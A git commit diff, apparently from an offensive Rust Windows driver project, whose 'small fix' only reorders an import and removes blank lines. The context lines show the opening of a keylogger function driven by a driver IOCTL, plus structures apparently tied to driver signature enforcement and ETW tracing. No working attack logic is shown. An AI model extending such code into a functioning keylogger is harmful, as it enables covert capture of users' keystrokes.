Small fix

This commit is contained in:
joaoviictorti
2024-09-28 11:19:55 -03:00
parent 1ce372ccef
commit a20c3024a2

View File

@@ -1,10 +1,10 @@
use {
log::*,
shared::structs::{DSE, ETWTI},
crate::utils::{
vk_to_char, update_key_state, key_pressed,
get_process_by_name, open_driver,
},
shared::structs::{DSE, ETWTI},
std::{
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
mem::size_of, ptr::null_mut, time::Duration
@@ -22,7 +22,6 @@ use {
}
};
/// Key states.
pub static mut KEY_STATE: [u8; 64] = [0; 64];
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
@@ -64,7 +63,6 @@ impl Misc {
}
}
pub fn keylogger(self, ioctl_code: u32, file: &String) {
unsafe {
let mut address: usize = 0;